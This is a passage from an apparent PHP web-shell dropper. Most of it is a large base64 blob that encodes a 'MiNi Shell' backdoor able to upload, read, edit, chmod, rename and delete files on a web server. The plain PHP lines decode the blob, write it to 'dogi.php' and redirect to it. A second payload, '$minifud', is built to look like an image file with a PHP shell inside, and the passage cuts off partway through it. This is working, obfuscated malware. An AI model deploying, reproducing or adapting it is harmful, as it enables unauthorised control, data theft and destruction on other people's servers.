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NFc2ZVZDcxT3lJa3RyVEZoNF8xVExSSzVSQSk7DQp9DQotLT4NCjwvc3R5bGU+DQoNCg0KDQoNCjxzdHlsZT4NCmJvZHl7DQogICAgZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KICAgIGJhY2tncm91bmQtY29sb3I6IGdyZWVuOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmOw0KfQ0KI2NvbnRlbnQgLmZpcnN0ew0KICAgIGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTsNCn0NCnRhYmxlew0KICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQogICAgZm9udC1mYW1pbHk6ICJSeWUiLCBjdXJzaXZlOw0KfQ0KYXsNCiAgICBjb2xvcjogIzAwMDsNCiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KICAgIGNvbG9yOiAjZmZmOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmZmZmOw0KfQ0KaW5wdXQsc2VsZWN0LHRleHRhcmVhew0KICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQogICAgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7DQogICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCiAgICBib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPk1pTmkgU2hlTEw8L2NlbnRlcj48L0gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCjx0cj48dGQ+Q3VycmVudCBQYXRoIDogJzsNCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCiAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107ICAgDQp9ZWxzZXsNCiAgICAkcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCiAgICBpZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5GaWxlIFVwbG9hZCBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5GaWxlIFVwbG9hZCBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICB9DQp9DQplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOw0KZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NClVwbG9hZCBGaWxlIDogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPg0KPC9mb3JtPg0KPC90ZD48L3RyPic7DQppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7DQogICAgZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KICAgIGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsNCiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOw0KICAgIGVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7DQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7DQogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7DQogICAgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCiAgICAgICAgPC9mb3JtPic7DQogICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iYmxhY2siPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgTmFtZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpew0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5FZGl0IEZpbGUgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkVkaXQgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgIDx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KfWVsc2V7DQogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsNCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KICAgICAgICAgICAgaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iYmxhY2siPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCiAgICAgICAgICAgIGlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJibGFjayI+RGVsZXRlIEZpbGUgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBGaWxlIEVycm9yLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICBlY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KICAgIDx0ciBjbGFzcz0iZmlyc3QiPg0KICAgICAgICA8dGQ+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQogICAgICAgIDx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+T3B0aW9uczwvY2VudGVyPjwvdGQ+DQogICAgPC90cj4nOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIjx0cj4NCiAgICAgICAgPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+DQogICAgICAgIDx0ZD48Y2VudGVyPiI7DQogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsNCiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICANCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KICAgICAgICA8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPg0KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7DQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7DQogICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsNCiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOw0KICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsNCiAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOw0KICAgICAgICB9DQoNCiAgICAgICAgZWNobyAiPHRyPg0KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj4iOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2NlbnRlcj48L3RkPg0KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQogICAgICAgIDxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KCSAgICA8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCiAgICAgICAgPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KICAgIDwvZGl2Pic7DQp9DQplY2hvICc8YnIgLz48Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+Q3JlYXQgQnkgPGZvbnQgY29sb3I9IndoaXRlIj5NaU5pIFNoZUxMPC9mb250PjxiciAvPkVtYWlsOiA8Zm9udCBjb2xvcj0id2hpdGUiPmRldmlsa2lsbGVyQGdtYWlsLmNvbTwvZm9udD4NCjwvQk9EWT4NCjwvSFRNTD4nOw0KZnVuY3Rpb24gcGVybXMoJGZpbGUpew0KICAgICRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCiAgICAvLyBTb2NrZXQNCiAgICAkaW5mbyA9ICdzJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCiAgICAvLyBTeW1ib2xpYyBMaW5rDQogICAgJGluZm8gPSAnbCc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7DQogICAgLy8gUmVndWxhcg0KICAgICRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KICAgIC8vIEJsb2NrIHNwZWNpYWwNCiAgICAkaW5mbyA9ICdiJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCiAgICAvLyBEaXJlY3RvcnkNCiAgICAkaW5mbyA9ICdkJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsNCiAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KICAgIC8vIEZJRk8gcGlwZQ0KICAgICRpbmZvID0gJ3AnOw0KfSBlbHNlIHsNCiAgICAvLyBVbmtub3duDQogICAgJGluZm8gPSAndSc7DQp9DQoNCi8vIE93bmVyDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gR3JvdXANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBXb3JsZA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCiAgICByZXR1cm4gJGluZm87DQp9DQo/Pg==
  2783. ";
  2784. $blackscorpionS1 = @fopen("dogi.php", "w");
  2785. @fwrite($blackscorpionS1, base64_decode($dogi));
  2786. @fclose($blackscorpionS1);
  2787. header("Location:dogi.php");
  2788. }
  2789.  
  2790. if (isset($_POST['minifud'])) {
  2791. $minifud = "w7/DmMO/w6AgEEpGSUYgAQIgIGQgZCAgw7/DrCARRHVja3kgASAEICAgZCAgw7/DriAOQWRvYmUgZMOAICAgAcO/w5sgwoQgAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDw7/DvifDsQ0KPD8NCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCmZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7DQokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsNCn0NCn0NCmVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxs